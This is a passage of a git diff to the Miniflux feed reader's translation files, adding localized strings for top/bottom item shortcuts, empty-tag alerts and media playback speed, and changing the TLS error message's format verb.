"error.http_empty_response_body": "Der Inhalt der HTTP-Antwort ist leer.", "error.http_empty_response": "Die HTTP-Antwort ist leer. Vielleicht versucht die Webseite, sich vor Bots zu schützen?", - "error.tls_error": "TLS-Fehler: %v. Wenn Sie mögen, können Sie versuchen die TLS-Verifizierung in den Einstellungen des Abonnements zu deaktivieren.", + "error.tls_error": "TLS-Fehler: %q. Wenn Sie mögen, können Sie versuchen die TLS-Verifizierung in den Einstellungen des Abonnements zu deaktivieren.", "error.network_operation": "Miniflux kann die Webseite aufgrund eines Netzwerk-Fehlers nicht erreichen: %v", "error.network_timeout": "Die Webseite ist zu langsam und die Anfrage ist abgelaufen: %v.", "error.http_client_error": "HTTP-Client-Fehler: %v.", @@ -524,5 +527,7 @@ "error.unable_to_parse_feed": "Dieses Abonnement kann nicht gelesen werden: %v.", "error.feed_not_found": "Dieses Abonnement existiert nicht oder gehört nicht zu diesem Benutzer.", "error.unable_to_detect_rssbridge": "Abonnement kann nicht durch RSS-Bridge erkannt werden: %v.", - "error.feed_format_not_detected": "Das Format des Abonnements kann nicht erkannt werden: %v." + "error.feed_format_not_detected": "Das Format des Abonnements kann nicht erkannt werden: %v.", + "form.prefs.label.media_playback_rate": "Wiedergabegeschwindigkeit von Audio/Video", + "error.settings_media_playback_rate_range": "Die Wiedergabegeschwindigkeit liegt außerhalb des Bereichs" } diff --git a/internal/locale/translations/el_EL.json b/internal/locale/translations/el_EL.json index 2351ee26..94d74149 100644 --- a/internal/locale/translations/el_EL.json +++ b/internal/locale/translations/el_EL.json @@ -178,6 +178,8 @@ "page.keyboard_shortcuts.go_to_feed": "Πηγαίνετε στη ροή", "page.keyboard_shortcuts.go_to_previous_page": "Μετάβαση στην προηγούμενη σελίδα", "page.keyboard_shortcuts.go_to_next_page": "Μετάβαση στην επόμενη σελίδα", + "page.keyboard_shortcuts.go_to_bottom_item": "Μετάβαση στο κάτω στοιχείο", + "page.keyboard_shortcuts.go_to_top_item": "Μετάβαση στο επάνω στοιχείο", "page.keyboard_shortcuts.open_item": "Άνοιγμα επιλεγμένου στοιχείου", "page.keyboard_shortcuts.open_original": "Άνοιγμα αρχικού συνδέσμου", "page.keyboard_shortcuts.open_original_same_window": "Άνοιγμα αρχικού συνδέσμου στην τρέχουσα καρτέλα", @@ -256,6 +258,7 @@ "alert.no_bookmark": "Δεν υπάρχει σελιδοδείκτης αυτή τη στιγμή.", "alert.no_category": "Δεν υπάρχει κατηγορία.", "alert.no_category_entry": "Δεν υπάρχουν άρθρα σε αυτήν την κατηγορία.", + "alert.no_tag_entry": "Δεν υπάρχουν αντικείμενα που να ταιριάζουν με αυτή την ετικέτα.", "alert.no_feed_entry": "Δεν υπάρχουν άρθρα για αυτήν τη ροή.", "alert.no_feed": "Δεν έχετε συνδρομές.", "alert.no_feed_in_category": "Δεν υπάρχει συνδρομή για αυτήν την κατηγορία.", @@ -505,7 +508,7 @@ "error.http_body_read": "Unable to read the HTTP body: %v.", "error.http_empty_response_body": "The HTTP response body is empty.", "error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?", - "error.tls_error": "TLS error: %v. You could disable TLS verification in the feed settings if you would like.", + "error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.", "error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.", "error.network_timeout": "This website is too slow and the request timed out: %v", "error.http_client_error": "HTTP client error: %v.", @@ -524,5 +527,7 @@ "error.unable_to_parse_feed": "Unable to parse this feed: %v.", "error.feed_not_found": "This feed does not exist or does not belong to this user.", "error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.", - "error.feed_format_not_detected": "Unable to detect feed format: %v." + "error.feed_format_not_detected": "Unable to detect feed format: %v.", + "form.prefs.label.media_playback_rate": "Ταχύτητα αναπαραγωγής του ήχου/βίντεο", + "error.settings_media_playback_rate_range": "Η ταχύτητα αναπαραγωγής είναι εκτός εύρους" } diff --git a/internal/locale/translations/en_US.json b/internal/locale/translations/en_US.json index 50a43b9f..77b73778 100644 --- a/internal/locale/translations/en_US.json +++ b/internal/locale/translations/en_US.json @@ -176,6 +176,8 @@ "page.keyboard_shortcuts.go_to_previous_item": "Go to previous item", "page.keyboard_shortcuts.go_to_next_item": "Go to next item", "page.keyboard_shortcuts.go_to_feed": "Go to feed", + "page.keyboard_shortcuts.go_to_top_item": "Go to top item", + "page.keyboard_shortcuts.go_to_bottom_item": "Go to bottom item", "page.keyboard_shortcuts.go_to_previous_page": "Go to previous page", "page.keyboard_shortcuts.go_to_next_page": "Go to next page", "page.keyboard_shortcuts.open_item": "Open selected item", @@ -215,7 +217,7 @@ "page.settings.webauthn.last_seen_on": "Last Used", "page.settings.webauthn.register": "Register passkey", "page.settings.webauthn.register.error": "Unable to register passkey", - "page.settings.webauthn.delete" : [ + "page.settings.webauthn.delete": [ "Remove %d passkey", "Remove %d passkeys" ], @@ -256,6 +258,7 @@ "alert.no_bookmark": "There are no starred entries.", "alert.no_category": "There is no category.", "alert.no_category_entry": "There are no entries in this category.", + "alert.no_tag_entry": "There are no entries matching this tag.", "alert.no_feed_entry": "There are no entries for this feed.", "alert.no_feed": "You don’t have any feeds.", "alert.no_feed_in_category": "There is no feed for this category.", @@ -505,7 +508,7 @@ "error.http_body_read": "Unable to read the HTTP body: %v.", "error.http_empty_response_body": "The HTTP response body is empty.", "error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?", - "error.tls_error": "TLS error: %v. You could disable TLS verification in the feed settings if you would like.", + "error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.", "error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.", "error.network_timeout": "This website is too slow and the request timed out: %v", "error.http_client_error": "HTTP client error: %v.", @@ -524,5 +527,7 @@ "error.unable_to_parse_feed": "Unable to parse this feed: %v.", "error.feed_not_found": "This feed does not exist or does not belong to this user.", "error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.", - "error.feed_format_not_detected": "Unable to detect feed format: %v." + "error.feed_format_not_detected": "Unable to detect feed format: %v.", + "form.prefs.label.media_playback_rate": "Playback speed of the audio/video", + "error.settings_media_playback_rate_range": "Playback speed is out of range" } diff --git a/internal/locale/translations/es_ES.json b/internal/locale/translations/es_ES.json index e08c8438..d4669b39 100644 --- a/internal/locale/translations/es_ES.json +++ b/internal/locale/translations/es_ES.json @@ -178,6 +178,8 @@ "page.keyboard_shortcuts.go_to_feed": "Ir a la fuente", "page.keyboard_shortcuts.go_to_previous_page": "Ir al página anterior", "page.keyboard_shortcuts.go_to_next_page": "Ir al página siguiente", + "page.keyboard_shortcuts.go_to_bottom_item": "Ir al elemento inferior", + "page.keyboard_shortcuts.go_to_top_item": "Ir al elemento superior", "page.keyboard_shortcuts.open_item": "Abrir el elemento seleccionado", "page.keyboard_shortcuts.open_original": "Abrir el enlace original", "page.keyboard_shortcuts.open_original_same_window": "Abrir enlace original en la pestaña actual", @@ -256,6 +258,7 @@ "alert.no_bookmark": "No hay marcador en este momento.", "alert.no_category": "No hay categoría.", "alert.no_category_entry": "No hay artículos en esta categoría.", + "alert.no_tag_entry": "No hay artículos con esta etiqueta.", "alert.no_feed_entry": "No hay artículos para esta fuente.", "alert.no_feed": "No tienes fuentes.", "alert.no_feed_in_category": "No hay fuentes para esta categoría.", @@ -505,7 +508,7 @@ "error.http_body_read": "Unable to read the HTTP body: %v.", "error.http_empty_response_body": "The HTTP response body is empty.", "error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?", - "error.tls_error": "TLS error: %v. You could disable TLS verification in the feed settings if you would like.", + "error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.", "error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.", "error.network_timeout": "This website is too slow and the request timed out: %v", "error.http_client_error": "HTTP client error: %v.", @@ -524,5 +527,7 @@ "error.unable_to_parse_feed": "Unable to parse this feed: %v.", "error.feed_not_found": "This feed does not exist or does not belong to this user.", "error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.", - "error.feed_format_not_detected": "Unable to detect feed format: %v." + "error.feed_format_not_detected": "Unable to detect feed format: %v.", + "form.prefs.label.media_playback_rate": "Velocidad de reproducción del audio/vídeo", + "error.settings_media_playback_rate_range": "La velocidad de reproducción está fuera de rango" } diff --git a/internal/locale/translations/fi_FI.json b/internal/locale/translations/fi_FI.json index 9da193a3..6b2f2fca 100644 --- a/internal/locale/translations/fi_FI.json +++ b/internal/locale/translations/fi_FI.json @@ -178,6 +178,8 @@ "page.keyboard_shortcuts.go_to_feed": "Siirry syötteeseen", "page.keyboard_shortcuts.go_to_previous_page": "Siirry edelliselle sivulle", "page.keyboard_shortcuts.go_to_next_page": "Siirry seuraavalle sivulle", + "page.keyboard_shortcuts.go_to_bottom_item": "Siirry alimpaan kohtaan", + "page.keyboard_shortcuts.go_to_top_item": "Siirry alkuun", "page.keyboard_shortcuts.open_item": "Avaa valittu kohde", "page.keyboard_shortcuts.open_original": "Avaa alkuperäinen linkki", "page.keyboard_shortcuts.open_original_same_window": "Avaa alkuperäinen linkki nykyisessä välilehdessä", @@ -256,6 +258,7 @@ "alert.no_bookmark": "Tällä hetkellä ei ole kirjanmerkkiä.", "alert.no_category": "Ei ole kategoriaa.", "alert.no_category_entry": "Tässä kategoriassa ei ole artikkeleita.", + "alert.no_tag_entry": "Tätä tunnistetta vastaavia merkintöjä ei ole.", "alert.no_feed_entry": "Tässä syötteessä ei ole artikkeleita.", "alert.no_feed": "Sinulla ei ole tilauksia.", "alert.no_feed_in_category": "Tälle kategorialle ei ole tilausta.", @@ -505,7 +508,7 @@ "error.http_body_read": "Unable to read the HTTP body: %v.", "error.http_empty_response_body": "The HTTP response body is empty.", "error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?", - "error.tls_error": "TLS error: %v. You could disable TLS verification in the feed settings if you would like.", + "error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.", "error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.", "error.network_timeout": "This website is too slow and the request timed out: %v", "error.http_client_error": "HTTP client error: %v.", @@ -524,5 +527,7 @@ "error.unable_to_parse_feed": "Unable to parse this feed: %v.", "error.feed_not_found": "This feed does not exist or does not belong to this user.", "error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.", - "error.feed_format_not_detected": "Unable to detect feed format: %v." + "error.feed_format_not_detected": "Unable to detect feed format: %v.", + "form.prefs.label.media_playback_rate": "Äänen/videon toistonopeus", + "error.settings_media_playback_rate_range": "Toistonopeus on alueen ulkopuolella" } diff --git a/internal/locale/translations/fr_FR.json b/internal/locale/translations/fr_FR.json index ca6c264b..fb2982fa 100644 --- a/internal/locale/translations/fr_FR.json +++ b/internal/locale/translations/fr_FR.json @@ -178,6 +178,8 @@ "page.keyboard_shortcuts.go_to_feed": "Voir abonnement", "page.keyboard_shortcuts.go_to_previous_page": "Page précédente", "page.keyboard_shortcuts.go_to_next_page": "Page suivante", + "page.keyboard_shortcuts.go_to_bottom_item": "Aller à l'élément du bas", + "page.keyboard_shortcuts.go_to_top_item": "Aller à l'élément supérieur", "page.keyboard_shortcuts.open_item": "Ouvrir élément sélectionné", "page.keyboard_shortcuts.open_original": "Ouvrir le lien original", "page.keyboard_shortcuts.open_original_same_window": "Ouvrir le lien original dans l'onglet en cours", @@ -215,7 +217,7 @@ "page.settings.webauthn.last_seen_on": "Dernière utilisation", "page.settings.webauthn.register": "Enregister une nouvelle clé d’accès", "page.settings.webauthn.register.error": "Impossible d'enregistrer la clé d’accès", - "page.settings.webauthn.delete" : [ + "page.settings.webauthn.delete": [ "Supprimer %d clé d’accès", "Supprimer %d clés d’accès" ], @@ -256,6 +258,7 @@ "alert.no_bookmark": "Il n'y a aucun favoris pour le moment.", "alert.no_category": "Il n'y a aucune catégorie.", "alert.no_category_entry": "Il n'y a aucun article dans cette catégorie.", + "alert.no_tag_entry": "Il n'y a aucun article correspondant à ce tag.", "alert.no_feed_entry": "Il n'y a aucun article pour cet abonnement.", "alert.no_feed": "Vous n'avez aucun abonnement.", "alert.no_feed_in_category": "Il n'y a pas d'abonnement pour cette catégorie.", @@ -505,7 +508,7 @@ "error.http_body_read": "Impossible de lire le corps de la réponse HTTP : %v.", "error.http_empty_response_body": "Le corps de la réponse HTTP est vide.", "error.http_empty_response": "La réponse HTTP est vide. Peut-être que ce site web bloque Miniflux avec une protection anti-bot ?", - "error.tls_error": "Erreur TLS : %v. Vous pouvez désactiver la vérification TLS dans les paramètres de l'abonnement.", + "error.tls_error": "Erreur TLS : %q. Vous pouvez désactiver la vérification TLS dans les paramètres de l'abonnement.", "error.network_operation": "Miniflux n'est pas en mesure de se connecter à ce site web à cause d'un problème réseau : %v.", "error.network_timeout": "Ce site web est trop lent à répondre : %v.", "error.http_client_error": "Erreur du client HTTP : %v.", @@ -524,5 +527,7 @@ "error.unable_to_parse_feed": "Impossible d'analyser ce flux : %v.", "error.feed_not_found": "Impossible de trouver ce flux.", "error.unable_to_detect_rssbridge": "Impossible de détecter un flux RSS en utilisant RSS-Bridge: %v.", - "error.feed_format_not_detected": "Impossible de détecter le format du flux : %v." + "error.feed_format_not_detected": "Impossible de détecter le format du flux : %v.", + "form.prefs.label.media_playback_rate": "Vitesse de lecture de l'audio/vidéo", + "error.settings_media_playback_rate_range": "La vitesse de lecture est hors limites" } diff --git a/internal/locale/translations/hi_IN.json b/internal/locale/translations/hi_IN.json index 00c81287..ef7c0c04 100644 --- a/internal/locale/translations/hi_IN.json +++ b/internal/locale/translations/hi_IN.json @@ -178,6 +178,8 @@ "page.keyboard_shortcuts.go_to_feed": "फ़ीड पर जाएं", "page.keyboard_shortcuts.go_to_previous_page": "पिछले पृष्ठ पर जाएं", "page.keyboard_shortcuts.go_to_next_page": "अगले पेज पर जाएं", + "page.keyboard_shortcuts.go_to_bottom_item": "निचले आइटम पर जाएँ", + "page.keyboard_shortcuts.go_to_top_item": "शीर्ष आइटम पर जाएँ", "page.keyboard_shortcuts.open_item": "चयनित आइटम खोलें", "page.keyboard_shortcuts.open_original": "मूल लिंक खोलें", "page.keyboard_shortcuts.open_original_same_window": "वर्तमान टैब में मूल लिंक खोलें", @@ -256,6 +258,7 @@ "alert.no_bookmark": "इस समय कोई बुकमार्क नहीं है", "alert.no_category": "कोई श्रेणी नहीं है।", "alert.no_category_entry": "इस श्रेणी में कोई विषय-वस्तु नहीं है।", + "alert.no_tag_entry": "इस टैग से मेल खाती कोई प्रविष्टियाँ नहीं हैं।", "alert.no_feed_entry": "इस फ़ीड के लिए कोई विषय-वस्तु नहीं है।", "alert.no_feed": "आपके पास कोई सदस्यता नहीं है।", "alert.no_feed_in_category": "इस श्रेणी के लिए कोई सदस्यता नहीं है।", @@ -505,7 +508,7 @@ "error.http_body_read": "Unable to read the HTTP body: %v.", "error.http_empty_response_body": "The HTTP response body is empty.", "error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?", - "error.tls_error": "TLS error: %v. You could disable TLS verification in the feed settings if you would like.", + "error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.", "error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.", "error.network_timeout": "This website is too slow and the request timed out: %v", "error.http_client_error": "HTTP client error: %v.", @@ -524,5 +527,7 @@ "error.unable_to_parse_feed": "Unable to parse this feed: %v.", "error.feed_not_found": "This feed does not exist or does not belong to this user.", "error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.", - "error.feed_format_not_detected": "Unable to detect feed format: %v." + "error.feed_format_not_detected": "Unable to detect feed format: %v.", + "form.prefs.label.media_playback_rate": "ऑडियो/वीडियो की प्लेबैक गति", + "error.settings_media_playback_rate_range": "प्लेबैक गति सीमा से बाहर है" } diff --git a/internal/locale/translations/id_ID.json b/internal/locale/translations/id_ID.json index 70aa938a..3f1e3cd3 100644 --- a/internal/locale/translations/id_ID.json +++ b/internal/locale/translations/id_ID.json @@ -169,6 +169,8 @@ "page.keyboard_shortcuts.go_to_feed": "Ke umpan", "page.keyboard_shortcuts.go_to_previous_page": "Ke halaman sebelumnya", "page.keyboard_shortcuts.go_to_next_page": "Ke halaman berikutnya", + "page.keyboard_shortcuts.go_to_bottom_item": "Pergi ke item paling bawah", + "page.keyboard_shortcuts.go_to_top_item": "Pergi ke item teratas", "page.keyboard_shortcuts.open_item": "Buka entri yang dipilih", "page.keyboard_shortcuts.open_original": "Buka tautan asli", "page.keyboard_shortcuts.open_original_same_window": "Buka tautan asli di bilah saat ini", @@ -246,6 +248,7 @@ "alert.no_bookmark": "Tidak ada markah.", "alert.no_category": "Tidak ada kategori.", "alert.no_category_entry": "Tidak ada artikel di kategori ini.", + "alert.no_tag_entry": "Tidak ada entri yang cocok dengan tag ini.", "alert.no_feed_entry": "Tidak ada artikel di umpan ini.", "alert.no_feed": "Anda tidak memiliki langganan.", "alert.no_feed_in_category": "Tidak ada langganan untuk kategori ini.", @@ -488,7 +491,7 @@ "error.http_body_read": "Unable to read the HTTP body: %v.", "error.http_empty_response_body": "The HTTP response body is empty.", "error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?", - "error.tls_error": "TLS error: %v. You could disable TLS verification in the feed settings if you would like.", + "error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.", "error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.", "error.network_timeout": "This website is too slow and the request timed out: %v", "error.http_client_error": "HTTP client error: %v.", @@ -507,5 +510,7 @@ "error.unable_to_parse_feed": "Unable to parse this feed: %v.", "error.feed_not_found": "This feed does not exist or does not belong to this user.", "error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.", - "error.feed_format_not_detected": "Unable to detect feed format: %v." + "error.feed_format_not_detected": "Unable to detect feed format: %v.", + "form.prefs.label.media_playback_rate": "Kecepatan pemutaran audio/video", + "error.settings_media_playback_rate_range": "Kecepatan pemutaran di luar jangkauan" } diff --git a/internal/locale/translations/it_IT.json b/internal/locale/translations/it_IT.json index ac1ce3c5..e9385c7c 100644 --- a/internal/locale/translations/it_IT.json +++ b/internal/locale/translations/it_IT.json @@ -178,6 +178,8 @@ "page.keyboard_shortcuts.go_to_feed": "Mostra il feed", "page.keyboard_shortcuts.go_to_previous_page": "Mostra la pagina precedente", "page.keyboard_shortcuts.go_to_next_page": "Mostra la pagina successiva", + "page.keyboard_shortcuts.go_to_bottom_item": "Vai all'elemento in fondo", + "page.keyboard_shortcuts.go_to_top_item": "Vai all'elemento principale", "page.keyboard_shortcuts.open_item": "Apri l'articolo selezionato", "page.keyboard_shortcuts.open_original": "Apri la pagina web originale", "page.keyboard_shortcuts.open_original_same_window": "Apri il link originale nella scheda corrente", @@ -256,6 +258,7 @@ "alert.no_bookmark": "Nessun preferito disponibile.", "alert.no_category": "Nessuna categoria disponibile.", "alert.no_category_entry": "Questa categoria non contiene alcun articolo.", + "alert.no_tag_entry": "Non ci sono voci corrispondenti a questo tag.", "alert.no_feed_entry": "Questo feed non contiene alcun articolo.", "alert.no_feed": "Nessun feed disponibile.", "alert.no_feed_in_category": "Non esiste un abbonamento per questa categoria.", @@ -505,7 +508,7 @@ "error.http_body_read": "Unable to read the HTTP body: %v.", "error.http_empty_response_body": "The HTTP response body is empty.", "error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?", - "error.tls_error": "TLS error: %v. You could disable TLS verification in the feed settings if you would like.", + "error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.", "error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.", "error.network_timeout": "This website is too slow and the request timed out: %v", "error.http_client_error": "HTTP client error: %v.", @@ -524,5 +527,7 @@ "error.unable_to_parse_feed": "Unable to parse this feed: %v.", "error.feed_not_found": "This feed does not exist or does not belong to this user.", "error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.", - "error.feed_format_not_detected": "Unable to detect feed format: %v." + "error.feed_format_not_detected": "Unable to detect feed format: %v.", + "form.prefs.label.media_playback_rate": "Velocità di riproduzione dell'audio/video", + "error.settings_media_playback_rate_range": "La velocità di riproduzione non rientra nell'intervallo" } diff --git a/internal/locale/translations/ja_JP.json b/internal/locale/translations/ja_JP.json index 5363d89a..efd2d37d 100644 --- a/internal/locale/translations/ja_JP.json +++ b/internal/locale/translations/ja_JP.json @@ -169,6 +169,8 @@ "page.keyboard_shortcuts.go_to_feed": "フィード", "page.keyboard_shortcuts.go_to_previous_page": "前のページ", "page.keyboard_shortcuts.go_to_next_page": "次のページ", + "page.keyboard_shortcuts.go_to_bottom_item": "一番下の項目に移動", + "page.keyboard_shortcuts.go_to_top_item": "先頭の項目に移動", "page.keyboard_shortcuts.open_item": "選択されたアイテムを開く", "page.keyboard_shortcuts.open_original": "オリジナルのリンクを開く", "page.keyboard_shortcuts.open_original_same_window": "現在のタブでオリジナルのリンクを開く", @@ -246,6 +248,7 @@ "alert.no_bookmark": "現在星付きはありません。", "alert.no_category": "カテゴリが存在しません。", "alert.no_category_entry": "このカテゴリには記事がありません。", + "alert.no_tag_entry": "このタグに一致するエントリーはありません。", "alert.no_feed_entry": "このフィードには記事がありません。", "alert.no_feed": "何も購読していません。", "alert.no_feed_in_category": "このカテゴリには購読中のフィードがありません。", @@ -488,7 +491,7 @@ "error.http_body_read": "Unable to read the HTTP body: %v.", "error.http_empty_response_body": "The HTTP response body is empty.", "error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?", - "error.tls_error": "TLS error: %v. You could disable TLS verification in the feed settings if you would like.", + "error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.", "error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.", "error.network_timeout": "This website is too slow and the request timed out: %v", "error.http_client_error": "HTTP client error: %v.", @@ -507,5 +510,7 @@ "error.unable_to_parse_feed": "Unable to parse this feed: %v.", "error.feed_not_found": "This feed does not exist or does not belong to this user.", "error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.", - "error.feed_format_not_detected": "Unable to detect feed format: %v." + "error.feed_format_not_detected": "Unable to detect feed format: %v.", + "form.prefs.label.media_playback_rate": "オーディオ/ビデオの再生速度", + "error.settings_media_playback_rate_range": "再生速度が範囲外" } diff --git a/internal/locale/translations/nl_NL.json b/internal/locale/translations/nl_NL.json index 5b5b57db..d9141819 100644 --- a/internal/locale/translations/nl_NL.json +++ b/internal/locale/translations/nl_NL.json @@ -179,6 +179,8 @@ "page.keyboard_shortcuts.go_to_feed": "Ga naar feed", "page.keyboard_shortcuts.go_to_previous_page": "Vorige pagina", "page.keyboard_shortcuts.go_to_next_page": "Volgende pagina", + "page.keyboard_shortcuts.go_to_bottom_item": "Ga naar het onderste item", + "page.keyboard_shortcuts.go_to_top_item": "Ga naar het bovenste item", "page.keyboard_shortcuts.open_item": "Open geselecteerde link", "page.keyboard_shortcuts.open_original": "Open originele link", "page.keyboard_shortcuts.open_original_same_window": "Oorspronkelijke koppeling op huidig tabblad openen", @@ -256,6 +258,7 @@ "alert.no_bookmark": "Er zijn op dit moment geen favorieten.", "alert.no_category": "Er zijn geen categorieën.", "alert.no_category_entry": "Deze categorie bevat geen feeds.", + "alert.no_tag_entry": "Er zijn geen items die overeenkomen met deze tag.", "alert.no_feed_entry": "Er zijn geen artikelen in deze feed.", "alert.no_feed": "Je hebt nog geen feeds geabboneerd staan.", "alert.no_feed_in_category": "Er is geen abonnement voor deze categorie.", @@ -505,7 +508,7 @@ "error.http_body_read": "Unable to read the HTTP body: %v.", "error.http_empty_response_body": "The HTTP response body is empty.", "error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?", - "error.tls_error": "TLS error: %v. You could disable TLS verification in the feed settings if you would like.", + "error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.", "error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.", "error.network_timeout": "This website is too slow and the request timed out: %v", "error.http_client_error": "HTTP client error: %v.", @@ -524,5 +527,7 @@ "error.unable_to_parse_feed": "Unable to parse this feed: %v.", "error.feed_not_found": "This feed does not exist or does not belong to this user.", "error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.", - "error.feed_format_not_detected": "Unable to detect feed format: %v." + "error.feed_format_not_detected": "Unable to detect feed format: %v.", + "form.prefs.label.media_playback_rate": "Afspeelsnelheid van de audio/video", + "error.settings_media_playback_rate_range": "Afspeelsnelheid is buiten bereik" } diff --git a/internal/locale/translations/pl_PL.json b/internal/locale/translations/pl_PL.json index 3a7ad74d..3b39301d 100644 --- a/internal/locale/translations/pl_PL.json +++ b/internal/locale/translations/pl_PL.json @@ -187,6 +187,8 @@ "page.keyboard_shortcuts.go_to_feed": "Przejdź do subskrypcji", "page.keyboard_shortcuts.go_to_previous_page": "Przejdź do poprzedniej strony", "page.keyboard_shortcuts.go_to_next_page": "Przejdź do następnej strony", + "page.keyboard_shortcuts.go_to_bottom_item": "Przejdź do dolnego elementu", + "page.keyboard_shortcuts.go_to_top_item": "Przejdź do najwyższego elementu", "page.keyboard_shortcuts.open_item": "Otwórz zaznaczony artykuł", "page.keyboard_shortcuts.open_original": "Otwórz oryginalny artykuł", "page.keyboard_shortcuts.open_original_same_window": "Otwórz oryginalny link w bieżącej karcie", @@ -266,6 +268,7 @@ "alert.no_bookmark": "Obecnie nie ma żadnych zakładek.", "alert.no_category": "Nie ma żadnej kategorii!", "alert.no_category_entry": "W tej kategorii nie ma żadnych artykułów", + "alert.no_tag_entry": "Nie ma wpisów pasujących do tego tagu.", "alert.no_feed_entry": "Nie ma artykułu dla tego kanału.", "alert.no_feed": "Nie masz żadnej subskrypcji.", "alert.no_feed_in_category": "Nie ma subskrypcji dla tej kategorii.", @@ -522,7 +525,7 @@ "error.http_body_read": "Unable to read the HTTP body: %v.", "error.http_empty_response_body": "The HTTP response body is empty.", "error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?", - "error.tls_error": "TLS error: %v. You could disable TLS verification in the feed settings if you would like.", + "error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.", "error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.", "error.network_timeout": "This website is too slow and the request timed out: %v", "error.http_client_error": "HTTP client error: %v.", @@ -541,5 +544,7 @@ "error.unable_to_parse_feed": "Unable to parse this feed: %v.", "error.feed_not_found": "This feed does not exist or does not belong to this user.", "error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.", - "error.feed_format_not_detected": "Unable to detect feed format: %v." + "error.feed_format_not_detected": "Unable to detect feed format: %v.", + "form.prefs.label.media_playback_rate": "Prędkość odtwarzania audio/wideo", + "error.settings_media_playback_rate_range": "Prędkość odtwarzania jest poza zakresem" } diff --git a/internal/locale/translations/pt_BR.json b/internal/locale/translations/pt_BR.json index 1e1c1b9b..7c639f5b 100644 --- a/internal/locale/translations/pt_BR.json +++ b/internal/locale/translations/pt_BR.json @@ -178,6 +178,8 @@ "page.keyboard_shortcuts.go_to_feed": "Ir a fonte", "page.keyboard_shortcuts.go_to_previous_page": "Ir a página anterior", "page.keyboard_shortcuts.go_to_next_page": "Ir a página seguinte", + "page.keyboard_shortcuts.go_to_bottom_item": "Ir para o item inferior", + "page.keyboard_shortcuts.go_to_top_item": "Ir para o item superior", "page.keyboard_shortcuts.open_item": "Abrir o item selecionado", "page.keyboard_shortcuts.open_original": "Abrir o conteúdo original", "page.keyboard_shortcuts.open_original_same_window": "Abrir o conteúdo original na janela atual", @@ -256,6 +258,7 @@ "alert.no_bookmark": "Não há favorito neste momento.", "alert.no_category": "Não há categoria.", "alert.no_category_entry": "Não há itens nesta categoria.", + "alert.no_tag_entry": "Não há itens que correspondam a esta etiqueta.", "alert.no_feed_entry": "Não há itens nessa fonte.", "alert.no_feed": "Não há inscrições.", "alert.no_feed_in_category": "Não há inscrições nessa categoria.", @@ -505,7 +508,7 @@ "error.http_body_read": "Unable to read the HTTP body: %v.", "error.http_empty_response_body": "The HTTP response body is empty.", "error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?", - "error.tls_error": "TLS error: %v. You could disable TLS verification in the feed settings if you would like.", + "error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.", "error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.", "error.network_timeout": "This website is too slow and the request timed out: %v", "error.http_client_error": "HTTP client error: %v.", @@ -524,5 +527,7 @@ "error.unable_to_parse_feed": "Unable to parse this feed: %v.", "error.feed_not_found": "This feed does not exist or does not belong to this user.", "error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.", - "error.feed_format_not_detected": "Unable to detect feed format: %v." + "error.feed_format_not_detected": "Unable to detect feed format: %v.", + "form.prefs.label.media_playback_rate": "Velocidade de reprodução do áudio/vídeo", + "error.settings_media_playback_rate_range": "A velocidade de reprodução está fora do intervalo" } diff --git a/internal/locale/translations/ru_RU.json b/internal/locale/translations/ru_RU.json index 2c55537e..6327c09f 100644 --- a/internal/locale/translations/ru_RU.json +++ b/internal/locale/translations/ru_RU.json @@ -187,6 +187,8 @@ "page.keyboard_shortcuts.go_to_feed": "Перейти к подписке", "page.keyboard_shortcuts.go_to_previous_page": "Перейти к предыдущей странице", "page.keyboard_shortcuts.go_to_next_page": "Перейти к следующей странице", + "page.keyboard_shortcuts.go_to_bottom_item": "Перейти к нижнему элементу", + "page.keyboard_shortcuts.go_to_top_item": "Перейти к верхнему элементу", "page.keyboard_shortcuts.open_item": "Открыть выбранный элемент", 